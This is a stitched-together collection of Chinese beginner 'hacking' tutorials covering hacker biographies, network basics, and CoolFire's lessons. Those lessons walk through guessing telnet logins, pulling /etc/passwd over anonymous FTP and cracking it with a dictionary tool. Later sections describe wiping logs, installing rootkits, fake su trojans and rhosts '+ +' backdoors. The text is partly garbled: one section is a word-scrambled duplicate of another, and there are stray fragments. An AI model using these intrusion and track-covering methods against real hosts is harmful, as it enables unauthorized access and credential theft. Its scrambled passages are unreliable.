HACK入门(黑客技术)
第1课:黑客基础知识
黄鑫:网名冰河(glacier),“冰河木马”软 件的创作者,被称为木马教父;
小榕:号称刀光雪影,一个月黑掉1000家网 站,1999中美黑客大战,带领红客抗击美国 黑客;
黑客人物(三) 6 7
中国十大黑客
8
9
10
黄鑫:网名Goodwill,绿色兵团创始人,COG 发起人,wifi万能钥匙首席安全官;
黑客事件
小咖 级别
1.黑你的电脑:用连过公共 wifi的电脑给他挖矿。
2.黑你的银行卡:2013 年海燕 3 号专案,一个广西 17 岁的 “黑客” 获取了 160 万条个人信息和银行卡账号,其中可以 直接网上盗刷的银行卡信息 19 万条,涉案金额 14.98 亿余元。
人物经历
4
5 6
18岁:1981年,潜入洛杉矶市电话中心盗取 用户密码;被判监禁3个月和1年监督居住。
20岁:1983年,进入了美国五角大楼的电脑ቤተ መጻሕፍቲ ባይዱ;被判在加州的青年管教所管教6个月。
25岁:1988年,从中国东方电气集团公司( DEC)网络上盗取价值100万美元的软件;被 判1年有期徒刑。
26岁:1989年,成功地侵入多家世界知名高 科技公司的电脑系统后神秘失踪。他被指控 犯有23项罪,后又增加25项附加罪。
很多黑客把自己的技术诀窍用于 犯罪活动,包括盗版软件、创建 病毒和侵入系统以盗取敏感信息。
80年代
出现玩弄电话系统的黑客,亦称 “飞客”
黑客发展
乘着80年代巨大变革的东风,90 年代是黑客真正开始臭名远扬的 起点。
90年代 00年代
10年代世界计算机系统一直在升 级,技术一直在创新,黑客们—— 无论白帽子还是黑帽子,依然不
黑客入门教程008
但如果你看到下面的英文就不成功,只好换其他机器了。
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
将guest变成系统管理员。)再次登录终端服务器,以“guest”身份进入,此时guest已是系统管理员,
已具备一切可执行权及一切操作权限。现在,我们可以像操作本地主机一样,控制对方系统。
(3) idq溢出漏洞
要用到3个程序,一个Snake IIS IDQ 溢出程序GUI版本,一个扫描器,还有NC。
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=192.168.0.111
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=ON
ComSpec=C:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
黑客入门(超级详细版)
黑客入门(超级详细版)
三、系统与系统环境: 电脑要运作必须安装操作系统,如今流行的操作系统主要由UNIX、Linux、Mac、BSD、 Windows2000、Windows95/98/Me、Windows NT等,这些操作系统各自独立运行,它们有自 己的文件管理、内存管理、进程管理等机制,在网络上,这些不同的操作系统既可以作为服 务器、也可以作为客户端被使用者操作,它们之间通过“协议”来完成信息的交换工作。 不同的操作系统配合不同的应用程序就构成了系统环境,例如Linux系统配合Apache软件可 以将电脑构设成一台网站服务器,其他使用客户端的电脑可以使用浏览器来获得网站服务器 上供浏览者阅读的文本信息;再如Windows2000配合Ftpd软件可以将电脑构设成一台文件服 务器,通过远程ftp登陆可以获得系统上的各种文件资源等。 四、IP地址和端口: 我们上网,可能会同时浏览网页、收发电子邮件、进行语音聊天……如此多的网络服务项目 ,都是通过不同的协议完成的,然而网络如此之大,我们的电脑怎么能够找到服务项目所需 要的电脑?如何在一台电脑上同时完成如此多的工作的呢?这里就要介绍到IP地址了。 每一台上网的电脑都具有独一无二的IP地址,这个地址类似于生活中人们的家庭地址,通过 网络路由器等多种物理设备(无需初级学习者理解),网络可以完成从一个电脑到另一个电 脑之间的信息交换工作,因为他们的IP地址不同,所以不会出现找不到目标的混乱局面。但 是黑客可以通过特殊的方法伪造自己电脑的IP地址,这样当服务器接受到黑客电脑(伪IP地 址)的请求后,服务器会将应答信息传送到伪IP地址上,从而造成网络的混乱。当然,黑客 也可以根据IP地址轻易的找到任何上网者或服务器,进而对他们进行攻击(想想现实中的入 室抢劫),因而如今我们会看到很多关于《如何隐藏自己IP地址》的文章。 接下来我解释一下上面提到的第二个问题:一台电脑上为什么能同时使用多种网络服务。这 好像北京城有八个城门一样,不同的协议体现在不同的网络服务上,而不同的网络服务则会 在客户端电脑上开辟不同的端口(城门)来完成它的信息传送工作。当然,如果一台网络服 务器同时开放了多种网络服务,那么它也要开放多个不同的端口(城门)来接纳不同的客户 端请求。 网络上经常听到的“后门”就是这个意思,黑客通过特殊机能在服务器上开辟了一个网络服 务,这个服务可以用来专门完成黑客的目的,那么服务器上就会被打开一个新的端口来完成 这种服务,因为这个端口是供黑客使用的,因而轻易不会被一般上网用户和网络管理员发现 ,即“隐藏的端口”,故“后门”。 每一台电脑都可以打开65535个端口,因而理论上我们可以开发出至少65535种不同的网络服 务,然而实际上这个数字非常大,网络经常用到的服务协议不过几十个,例如浏览网页客户 端和服务端都使用的是80号端口,进行IRC聊天则在服务端使用6667端口、客户端使用1026 端口等。 五、漏洞: 漏洞就是程序中没有考虑到的情况,例如最简单的“弱口令”漏洞是指系统管理员忘记屏蔽 某些网络应用程序中的账号;Perl程序漏洞则可能是由于程序员在设计程序的时候考虑情况 不完善出现的“让程序执行起来不知所措”的代码段,“溢出”漏洞则属于当初设计系统或 者程序的时候,没有预先保留出足够的资源,而在日后使用程序是造成的资源不足;特殊IP 包炸弹实际上是程序在分析某些特殊数据的时候出现错误等…… 总而言之,漏洞就是程序设计上的人为疏忽,这在任何程序中都无法绝对避免,黑客也正是 利用种种漏洞对网络进行攻击的,本章开始的字眼儿“网络安全”实际就是“漏洞”的意思
黑客入门教程
黑客入门教程黑客入门教程黑客(Hacker)一词原指精通电脑技术的高手,后来逐渐演化为指掌握计算机系统的安全漏洞并进行攻击的人。
然而,在现实生活中,黑客并不一定都是坏人。
一些安全研究人员也自称为“白帽黑客”,他们致力于发现并修复系统漏洞,提高计算机系统的安全性。
黑客的技能包括计算机编程、系统安全、网络通信等方面的知识。
以下是一个简单的黑客入门教程,帮助初学者理解黑客技术的基本知识和操作步骤。
1. 学习编程语言:作为一个黑客,掌握至少一种编程语言是必要的。
常用的编程语言有Python、C++、Java等。
使用这些语言,你可以更好地了解计算机的工作原理,并编写自己的程序。
2. 了解计算机网络:黑客需要了解计算机网络的基础知识,包括IP地址、端口、HTTP协议、TCP/IP协议等。
这些知识将帮助你更好地理解网络通信过程,并进行网络攻击或安全防护。
3. 学习操作系统:操作系统是黑客攻击的目标之一,也是黑客进行攻击或保护的平台。
学习操作系统,比如Windows、Linux等,可以帮助你理解系统的工作原理,并发现系统漏洞。
4. 学习网络安全:网络安全是黑客技能的核心。
学习网络安全知识,包括密码学、防护机制、入侵检测等,将帮助你提高系统的安全性,并防范他人的黑客攻击。
5. 使用合法的渠道学习:黑客技术涉及到很多法律、道德和道义问题。
为了避免违法行为,你应该使用合法的渠道学习黑客技术,比如阅读相关书籍、参加网络安全培训班等。
6. 实践并分享经验:实践是掌握黑客技术的最好方式。
你可以自己创建一个安全测试环境,模拟攻击和防御的场景,并通过实践来提升自己的技能。
同时,你也可以与其他黑客交流和分享经验,从中获取更多的知识。
总之,要成为一名合格的黑客,需要全面掌握计算机技术、网络安全和编程等方面的知识。
同时,要始终保持道德和法律意识,遵守法律规定,将技术用于正当的目的,为保护网络安全做出贡献。
coolfire 黑客入门8篇(1)
coolfire黑客入门教程系列之(一)这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是 CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责 !!#1 甚麽是 Hacking ?就是入侵电脑! 有甚麽好解释的! 大部份有关介绍Hacker 的书籍或小说及文件等都有清楚的介绍, 沉迷於电脑的人... 破坏... 唉! 一大堆怪解释就是了,最好不要成为一个 "骇客", 我... 不是!#2 为甚麽要 Hack ?我们只是为了要了解更多关於系统的技术, 入侵它, 了解它是如何运作的, 试试它的安全性, 然後学著去使用它, 读取系统中有关操作的说明, 学习它的各项操作 !! 为了安全性而作革命!#3 Hack 守则1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦.恶意破坏它人的软体将导致法律刑责, 如果你只是使用电脑, 那仅为非法使用!! 注意: 千万不要破坏别人的软体或资料 !!2. 不修改任何的系统档, 如果你是为了要进入系统而修改它, 请在答到目的後将它改回原状.3. 不要轻易的将你要 Hack 的站台告诉你不信任的朋友.4. 不要在 bbs 上谈论你 Hack 的任何事情.5. 在 Post 文章的时候不要使用真名.6. 正在入侵的时候, 不要随意离开你的电脑.7. 不要侵入或破坏政府机关的主机.8. 不在电话中谈论你 Hack 的任何事情.9. 将你的笔记放在安全的地方.10. 想要成为 Hacker 就要真正的 Hacking, 读遍所有有关系统安全或系统漏洞的文件 (英文快点学好)!11. 已侵入电脑中的帐号不得清除或修改.12. 不得修改系统档案, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而将门户大开 !!13. 不将你已破解的帐号分享与你的朋友.#4 破解之道1. 进入主机中2. 得到 /etc/passwd3. 得到系统帐号4. 得到最高权限-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-How 1.进入主机有好几种方式, 可以经由 Telnet (Port 23) 或 SendMail (Port 25)或 FTP 或 WWW (Port 80) 的方式进入, 一台主机虽然只有一个位址, 但是它可能同时进行多项服务, 所以如果你只是要 "进入" 该主机, 这些 Port 都是很好的进行方向. 当然还有很多 Port, 但是 DayTime 的 Port 你能拿它作甚麽??? 我不知道, 你知道吗?!底下的示范并不是像写出来的那麽容易, 只不过是要让你了解如何进入,当然其中还有很多问题, 如打错指令...... 等等的毛病... 没有出现在课堂上, 但是我为了面子.... 一定要删掉这些不堪入目的东西嘛...示范进入主机的方法: (By CoolFire)(首先要先连上某一台你已经有帐号的Telnet 主机, 当然最好是假的, 也就是 Crack过的主机, 然後利用它来 Crack 别的主机, 才不会被别人以逆流法查出你的所在)Digital UNIX () (ttypa)login: FakeNamePassword:Last login: Mon Dec 2 03:24:00 from 255.255.0.0(我用的是 ... 当然是假的罗, 都已经经过修改了啦 !!没有这一台主机啦 !! 别怕 ! 别怕 ! 以下的主机名称都是假的名称, 请同学们要记得 !!)Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996Digital UNIX V1.2C Worksystem Software (Rev. 248)Digital UNIX Chinese Support V1.2C (rev. 3)(嗯... 进来了 ! 开始攻击吧 ! 本次的目标是......)> telnet (Telnet 试试看....)Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrect(没关系, 再来 !!)cool login: hinetPassword:Login incorrectcool login:(都没猜对, 这边用的是猜的方法, 今天运气好像不好)telnet> closeConnection closed.(重来, 换个 Port 试试看 !!)> telnet 111.222.255.255 80Trying 111.222.255.255...Connected to 111.222.255.255.Escape character is '^]'.<HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY><H1>Error 400</H1>Invalid request "" (unknown method)<P><HR><ADDRESS><A HREF="">CERN-HTTPD 3.0A</A></ADDRESS></BODY></HTML>Connection closed by foreign host.(哇哩 !! 连密码都没得输入, 真是..... 再来 !! 要有恒心 !!) (换 FTP Port 试试)> ftp 111.222.255.255Connected to 111.222.255.255.220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.Name (111.222.255.255:FakeName): anonymous331 Guest login ok, send your complete e-mail address as password. Password:230-Welcome, archive user! This is an experimental FTP server. If have any 230-unusual problems, please report them via e-mail to root@230-If you do have problems, please try using a dash (-) as the first character230-of your password -- this will turn off the continuation messages that may 230-be confusing your ftp client.230-230 Guest login ok, access restrictions apply.Remote system type is UNIX.Using binary mode to transfer files.(哇 ! 可以用 anonymous 进来耶!! password 部份输入 aaa@ 就好了 !不要留下足迹喔!!)ftp> ls200 PORT command successful.150 Opening ASCII mode data connection for file list.etcpubusrbinlibincomingwelcome.msg226 Transfer complete.(嗯嗯... 太好了 ! 进来了 !! 下一个目标是.....)ftp> cd etc250 CWD command successful.ftp> get passwd (抓回来 !!)200 PORT command successful.150 Opening BINARY mode data connection for passwd (566 bytes).226 Transfer complete.566 bytes received in 0.56 seconds (0.93 Kbytes/s)(喔... 这麽容易吗??)ftp> !cat passwd (看看 !!!)root::0:0:root:/root:/bin/bashbin:*:1:1:bin:/bin:daemon:*:2:2:daemon:/sbin:adm:*:3:4:adm:/var/adm:lp:*:4:7:lp:/var/spool/lpd:sync:*:5:0:sync:/sbin:/bin/syncshutdown:*:6:0:shutdown:/sbin:/sbin/shutdownhalt:*:7:0:halt:/sbin:/sbin/haltmail:*:8:12:mail:/var/spool/mail:news:*:9:13:news:/var/spool/news:uucp:*:10:14:uucp:/var/spool/uucp:operator:*:11:0:operator:/root:/bin/bashgames:*:12:100:games:/usr/games:man:*:13:15:man:/usr/man:postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash ftp:*:404:1::/home/ftp:/bin/bash(哇哩... 是 Shadow 的... 真是出师不利.... )ftp> bye221 Goodbye.(不信邪.... 还是老话, 要有恒心....)(FTP 不行, 再 Telnet 看看 !!)> telnet Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrect(又猜错 !!)cool login: fuckyouPassword:Last login: Mon Dec 2 09:20:07 from 205.11.122.12Linux 1.2.13.Some programming languages manage to absorb change but withstand progress.cool:~$(哇哈哈 !! 哪个笨 root, 用 system name 作 username 连password 也是 system name.... 总算... 没白玩...)cool:~$ systembash: system: command not found(嗯... 这个 user 的权限好像不大....)cool:~$ lscool:~$ pwd/home/fuckyoucool:~$ cd /cool:/$ lsPublic/ cdrom/ lib/ mnt/ tmp/ www/README dev/ linux* proc/ usr/bin/ etc/ local/ root/ var/ 网管网boot/ home/ lost+found/ sbin/cool:/$ cd etctelnet> quit(好想睡呀 !! 不玩了 !! 下节课再开始....)Connection closed.> exit(走了 !! 下节课在见啦 !! 今天就上到这里 ! 老师要先下班了 !!)(有学生说: 骗人! 还没有破解呀!! 胡说 ! 不是已经进来了吗 ???看看这节课上的是甚麽??? ---->进入主机 !! 嗯.....)-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-How 2.上节课抓回来一个"乱七八糟" 的/etc/passwd, 你以为我的真那麽笨吗??guest 所抓回来的能是甚麽好东西?? 所以这一节课继续上次的攻击行动. 上节课我们已经 "猜" 到了一个不是 guest 的 username 及 password. 今天就以它来进入主机瞧瞧!!Digital UNIX () (ttypa)login: FakeNamePassword:Last login: Mon Dec 2 03:24:00 from 255.255.0.0Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996Digital UNIX V1.2C Worksystem Software (Rev. 248)Digital UNIX Chinese Support V1.2C (rev. 3)网管网bitsCN_com(嗯... 进来了 ! 开始攻击吧 ! 本次的目标是.....呵...)> telnet (Telnet 试试看.... 昨天的位址,有作笔记吧!)> telnet Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrectcool login: fuckyouPassword: (一样输入 fuckyou)Last login: Mon Dec 1 12:44:10 from Linux 1.2.13.cool:~$ cd /etccool:/etc$ lsDIR_COLORS ftpusers localtime resolv.conf HOSTNAME gateways magic rpcNETWORKING group mail.rc securettyNNTP_INEWS_DOMAIN host.conf motd sendmail.cf X11@ hosts messages/ sendmail.stXF86Config hosts.allow mtab servicesat.deny hosts.deny mtools shellsbootptab hosts.equiv named.boot shutdownpcsh.cshrc hosts.lpd networks snoopy/csh.login httpd.conf nntpserver slip.hostsexports inetd.conf passwd snooptabfastboot inittab passwd.OLD syslog.conffdprm issue passwd.old syslog.pidfstab ld.so.cache printcap ttysftpaccess ld.so.conf profile utmp@(找寻目标..... 太乱了 ! 懒得找, 再来 ....)cool:/etc$ ls pa*passwd passwd.OLD passwd.old(果然在)cool:/etc$ more passwd(看看有没有 Shadow...)root:acqQkJ2LoYp:0:0:root:/root:/bin/bashjohn:234ab56:9999:13:John Smith:/home/john:/bin/john (正点 ! 一点都没有防备 !!)cool:/etc$ exitlogout(走了!.... 换 FTP 上场 !!)Connection closed by foreign host.> ftp Connected to .220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.Name (:66126): fuckyou331 Password required for fuckyou.Password:230 User fuckyou logged in.Remote system type is UNIX.Using binary mode to transfer files.ftp> cd /etc250 CWD command successful.ftp> get passwd200 PORT command successful. 150 Opening BINARY mode data connection for passwd (350 bytes).226 Transfer complete.350 bytes received in 0.68 seconds (1.9 Kbytes/s)ftp> !cat passwdroot:acqQkJ2LoYp:0:0:root:/root:/bin/bashjohn:234ab56:9999:13:John Smith:/home/john:/bin/john(看看 ! 呵 ! 假不了 !!......)ftp> bye221 Goodbye.> exit(闪人罗 !! 下课 !!.... 喔慢点, 还有事要说明......)passwd 的 Shadow 就是把 passwd 放在 shadow 档中, 而你原先在第一节课所看到的这个格式的 passwd 并不是真正的 passwd....root::0:0:root:/root:/bin/bash因为密码的部份没有东西.... 所以拿了也没有用!! 但这一节课所拿到的东西呢,像是这样, 有几点需要说明的, 就是它究竟代表著甚麽???john:234ab56:9999:13:John Smith:/home/john:/bin/sh它以 ":" 分成几个栏位, 各栏位对照如下:User Name: johnPassword:234ab56User No: 9999Group No: 13Real Name: John SmithHome Dir: /home/johnShell: /bin/sh了了吧 ! 了了吧 ! 保留著你千辛万苦所拿到的 passwd, 咱们第三节网管网bitsCN_com课再来告诉各位如何使用 Crack Jack 把 passwd 解码.... 呵呵... zzZZzZzz...-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-Crack Jack V1.4 中文使用说明 (By CoolFire 12-1-1996)嗯... 该到第三课了 !! 累了的同学先去喝口水吧!这一节课咱们来说说 Crack Jack ! 这可是个解读 /etc/passwd 的好工具喔,不要告诉我你习惯用Brute, 拿 Brute 跟 Crack Jack 的速度比比看, 包准你马上投向 Crack Jack 1.4的怀抱, 但请先确定你所使用的是Crack Jack 1.4, 你可以在CoolFire 的Hacker&Mailer Page中拿到这个版本的 Crack Jack ! 这才是真正有用的版本, 速度... 对... 就是这点别人都比不上 !但还是要讲讲它的缺点... 就是只能在 DOS 跟 OS2 中跑, 如果在 Windoz 95 上开个DOS Mode 跑,它可是连理都不会理你的 !OK! 现在切入正题 ! etc/passwd 拿到手了吧 !! 开始罗 !! 使用 Crack Jack 1.4前所需要的东西有这些 [1] Crack Jack 1.4 (废话...$%^&@@) [2] /etc/passwd 档案, 你可以在 Unix系统中的 /etc/ 目录中找到 passwd [3] 字典档 (哪里找, 自己敲... 呵 ClayMore 中有一份中国网管联盟www_bitscn_comDIC.TXT是有一千多个字的字典, 但比起我的字典可就小巫见大巫了, LetMeIn!1.0 里面也有, 听James说 2.0 Release 的时候会有更棒的字典档含入, 期待吧!).... 使用 Crack Jack 1.4前需先确定你所使用的机器是 386 含以上 CPU 的 ! 然後最好有充足的记忆体 !!开始Jack 时只要敲入JACK 即可, 它会问你PW Name... 输入你的passwd 档名,DictionaryName 输入你的字典档名, Jack 就会开始找了 ! 找到时会告诉你, 也会在JACK.POT中写入它所找到的密码 !! 但... 有点怪的格式! 如果找到的是具 root 权限的密码, Jack 会告诉你This isJackAss... 嗯...说脏话了 !! 因为使用 Jack 占用的时间实在太多,如果你中途想要停掉时只要按下 Ctrl-C 即可, 别以为你前功尽弃了! 因为 Jack 有个 Restore 的功能,中断时会自动存档为RESTORE, 下次要继续这次的寻找只要输入Jack -Restore:RESTORE 即可 !!当然你也可以为你的 Restore 重新命名 ! Jack 也会找得到的 ... 如 Ren restore restore.HNT 之後要再寻找的时後就 Jack -Restore:RESTORE.HNT 即可... Jack 会很自动的 Restore 前次所寻找的字串...网管网bitsCN_com继续帮你找下去....字典档哪里找: 我的不给你! 可以找别的 Brute Force 之类的程式, 有些里面会附,或是找找其它的Hacker 地下站看看有没有, 自己编一个, 或找个英汉字典软体将字典的部份解出来,可能要有一点资料栏位及写程式的基础.[这一节课没有范例] 成功的案例: 找到过某家网路咖啡店的root 权限密码 ! Jack好正点呀 !!!所花的时间: 20 分钟左右... 但也有找了一两天也找不到的..... 呜... 骇客们! 加油吧!!------最近比较没空了! 因为要赶其它的报告, Home Page 也没有太多时间整理,更别说是写这些说明了,但是太多网友需要, 我只好两肋插刀... 差点昨天就交不出报告了 !!如果你有兴趣写其它程式的中文说明, 请完成後寄一份给我, 我将它放在Home Page 上面让其它人参考,当然你也可以给我你的使用心得, 让别人参考看看也行! 另外CoolFire 目前准备收集一系列的System HoleList, 如果你在其它的站台有看到的, 请把它先 Cut 下来, Mail 一份给我 !这样我才能弄出一份更齐全的东西呀.... 还有... 在想弄个 Mail List... 唉.. 不想这麽多了! 有空再说吧! ------再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,不主张你随便入侵他人主机.... (当然高-Net 除外, 我恨死它了)... 请勿将这类技术使用於破坏上(又.....如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),最严重的情况(如果你真的很讨厌该主机的话)... 就将它 Shut Down.... 好了! 别太暴力了!【转自】。
黑客技术初级教程
当然大多半进击成功的典范照样应用了体系软件本身的破绽.造成软件破绽的重要原因在于编制该软件的程序员缺乏安然意识.当进击者对软件进行非正常的挪用要求时造成缓冲区溢出或者对文件的不法拜访.个中应用缓冲区溢出进行的进击最为广泛,据统计80%以上成功的进击都是应用了缓冲区溢出破绽来获得不法权限的.关于缓冲区溢出在后面用专门章节来作具体说明.无论作为一个黑客照样一个收集治理员,都须要控制尽量多的体系破绽.黑客须要用它来完成进击,而治理员须要依据不合的破绽来进行不合的防御措施.懂得最新最多的破绽信息,可以到诸如Rootshell(www.rootshell.com).Packetstorm (packetstorm.securify.com).Securityfocus (www.securityfocus.com)等网站去查找.2.权限的扩大体系破绽分为长途破绽和当地破绽两种,长途破绽是指黑客可以在此外机械上直接应用该破绽进行进击并获取必定的权限.这种破绽的威逼性相当大,黑客的进击一般都是从长途漏敞开端的.但是应用长途破绽获取的不必定是最高权限,而往往只是一个通俗用户的权限,如许经常没有办法做黑客们想要做的事.这时就须要合营当地破绽来把获得的权限进行扩大,经常是扩大至体系的治理员权限.只有获得了最高的治理员权限之后,才可以做诸如收集监听.打扫陈迹之类的工作.要完成权限的扩大,不单可以应用已获得的权限在体系上履行应用当地破绽的程序,还可以放一些木马之类的诱骗程序来套取治理员暗码,这种木马是放在当地套取最高权限用的,而不克不及进行长途控制.例如一个黑客已经在一台机械上获得了一个通俗用户的账号和登录权限,那么他就可以在这台机械上放置一个假的su程序.一旦黑客放置了假su程序,当真正的正当用户登录时,运行了su,并输入了暗码,这时root暗码就会被记载下来,下次黑客再登录时就可以应用su变成root了.进击的善后工作1.日记体系简介假如进击者完成进击后就连忙分开体系而不做任何善后工作,那么他的行踪将很快被体系治理员发明,因为所有的收集操纵系同一般都供给日记记载功效,会把体系上产生的动作记载下来.所以,为了自身的隐蔽性,黑客一般都邑抹失落本身在日记中留下的陈迹.想要懂得黑客抹失落陈迹的办法,起首要懂得罕有的操纵体系的日记构造以及工作方法.Unix的日记文件平日放鄙人面这几个地位,依据操纵体系的不合略有变更/usr/adm——早期版本的Unix./Var/adm新一点的版本应用这个地位./Varflort一些版本的Solaris. Linux BSD. Free BSD应用这个地位./etc,大多半Unix版本把Utmp放在此处,一些Unix版本也把Wtmp放在这里,这也是Syslog.conf的地位.下面的文件可能会依据你地点的目次不合而不合:acct或pacct-一记载每个用户应用的敕令记载.accesslog重要用来办事器运行了NCSA HTTP办事器,这个记载文件会记载有什么站点衔接过你的办事器.aculo保管拨出去的Modems记载.lastlog记载了比来的Login记载和每个用户的最初目标地,有时是最后不成功Login的记载.loginlog一记载一些不正常的L0gin记载.messages——记载输出到体系控制台的记载,别的的信息由Syslog来生成security记载一些应用 UUCP体系妄图进入限制规模的事例.sulog记载应用su敕令的记载.utmp记载当前登录到体系中的所有效户,这个文件陪同着用户进入和分开体系而不竭变更.Utmpx,utmp的扩大.wtmp记载用户登录和退出事宜.Syslog最重要的日记文件,应用syslogd守护程序来获得.2.隐蔽踪影进击者在获得体系最高治理员权限之后就可以随便修正体系上的文件了(只对通例 Unix体系而言),包含日记文件,所以一般黑客想要隐蔽本身的踪影的话,就会对日记进行修正.最简略的办法当然就是删除日记文件了,但如许做固然防止了体系治理员依据IP追踪到本身,但也明白无误地告知了治理员,体系己经被人侵了.所以最经常应用的办法是只对日记文件中有关本身的那一部分做修正.关于修正办法的具体细节依据不合的操纵体系有所差别,收集上有很多此类功效的程序,例如 zap. wipe等,其重要做法就是消除 stlog和 Pacct等日记文件中某一用户的信息,使得当应用st等敕令检讨日记文件时,隐蔽失落此用户的信息.治理员想要防止日记体系被黑客修正,应当采纳必定的措施,例如用打印机及时记载收集日记信息.但如许做也有弊病,黑客一旦懂得到你的做法就会不断地向日记里写入无用的信息,使得打印机不断地打印日记,直到所有的纸用光为止.所以比较好的防止日记被修正的办法是把所有日记文件发送到一台比较安然的主机上,即应用loghost.即使是如许也不克不及完整防止日记被修正的可能性,因为黑客既然能攻入这台主机,也很可能攻入loghost.只修正日记是不敷的,因为百密必有一漏,即使自以为修正了所有的日记,仍然会留下一些蛛丝马迹的.例如装配了某些后门程序,运行后也可能被治理员发明.所以,黑客高手可以经由过程调换一些体系程序的办法来进一步隐蔽踪影.这种用来调换正常体系程序的黑客程序叫做rootkit,这类程序在一些黑客网站可以找到,比较罕有的有LinuxRootKit,如今已经成长到了5.0版本了.它可以调换体系的stat.inetd等等一系列重要的体系程序,当调换了ls后,就可以隐蔽指定的文件,使得治理员在应用ls敕令时无法看到这些文件,从而达到隐蔽本身的目标.3.后门一般黑客都邑在攻入体系后不只一次地进入该体系.为了下次再进入体系时便利一点,黑客会留下一个后门,特洛伊木马就是后门的最好典范.Unix中留后门的办法有很多种,下面介绍几种罕有的后门,供收集治理员参考防备.<1>暗码破解后门这是入侵者应用的最早也是最老的办法,它不但可以获得对Unix机械的拜访,并且可以经由过程破解暗码制作后门.这就是破解口令单薄的帐号.今后即使治理员封了入侵者的当前帐号,这些新的帐号仍然可能是从新侵入的后门.多半情形下,入侵者查找口令单薄的未应用帐号,然后将口令改的难些.当治理员查找口令单薄的帐号是,也不会发明这些暗码已修正的帐号.因而治理员很难肯定查封哪个帐号.<2>Rhosts + + 后门在连网的Unix机械中,象Rsh和Rlogin如许的办事是基于rhosts文件里的主机名应用简单的认证办法.用户可以随便马虎的转变设置而不需口令就能进入. 入侵者只要向可以拜访的某用户的rhosts文件中输入"+ +",就可以许可任何人从任何地方无须口令便能进入这个帐号.特殊当home目次经由过程NFS向外共享时,入侵者更热中于此.这些帐号也成了入侵者再次侵入的后门.很多人更爱好应用Rsh,因为它平日缺乏日记才能. 很多治理员经常检讨 "+ +",所以入侵者现实上多设置来自网上的另一个帐号的主机名和用户名,从而不轻易被发明.<3>校验和及时光戳后门早期,很多入侵者用本身的trojan程序替代二进制文件.体系治理员便依附时光戳和系统校验和的程序分辩一个二进制文件是否已被转变,如Unix里的sum程序.入侵者又成长了使trojan文件和原文件时光戳同步的新技巧.它是如许实现的: 先将体系时钟拨回到原文件时光,然后调剂trojan文件的时光为体系时光.一旦二进制trojan文件与本来的准确同步,就可以把体系时光设回当前时光.Sum程序是基于CRC校验,很轻易骗过.入侵者设计出了可以将trojan的校验和调剂到原文件的校验和的程序.MD5是被大多半人推举的,MD5应用的算法今朝还没人能骗过.。
黑客技术初级教程
当然大多数攻击成功的范例还是利用了系统软件本身的漏洞。
造成软件漏洞的主要原因在于编制该软件的程序员缺乏安全意识。
当攻击者对软件进行非正常的调用请求时造成缓冲区溢出或者对文件的非法访问。
其中利用缓冲区溢出进行的攻击最为普遍,据统计80%以上成功的攻击都是利用了缓冲区溢出漏洞来获得非法权限的。
关于缓冲区溢出在后面用专门章节来作详细解释。
无论作为一个黑客还是一个网络管理员,都需要掌握尽量多的系统漏洞。
黑客需要用它来完成攻击,而管理员需要根据不同的漏洞来进行不同的防御措施。
了解最新最多的漏洞信息,可以到诸如Rootshell(www.rootshell.com)、Packetstorm(packetstorm.securify.com)、Securityfocus(www.securityfocus.com)等网站去查找。
2.权限的扩大系统漏洞分为远程漏洞和本地漏洞两种,远程漏洞是指黑客可以在别的机器上直接利用该漏洞进行攻击并获取一定的权限。
这种漏洞的威胁性相当大,黑客的攻击一般都是从远程漏洞开始的。
但是利用远程漏洞获取的不一定是最高权限,而往往只是一个普通用户的权限,这样常常没有办法做黑客们想要做的事。
这时就需要配合本地漏洞来把获得的权限进行扩大,常常是扩大至系统的管理员权限。
只有获得了最高的管理员权限之后,才可以做诸如网络监听、打扫痕迹之类的事情。
要完成权限的扩大,不但可以利用已获得的权限在系统上执行利用本地漏洞的程序,还可以放一些木马之类的欺骗程序来套取管理员密码,这种木马是放在本地套取最高权限用的,而不能进行远程控制。
例如一个黑客已经在一台机器上获得了一个普通用户的账号和登录权限,那么他就可以在这台机器上放置一个假的su程序。
一旦黑客放置了假su程序,当真正的合法用户登录时,运行了su,并输入了密码,这时root密码就会被记录下来,下次黑客再登录时就可以使用su变成root了。
攻击的善后工作1.日志系统简介如果攻击者完成攻击后就立刻离开系统而不做任何善后工作,那么他的行踪将很快被系统管理员发现,因为所有的网络操作系统一般都提供日志记录功能,会把系统上发生的动作记录下来。
coolfire黑客入门教程系列
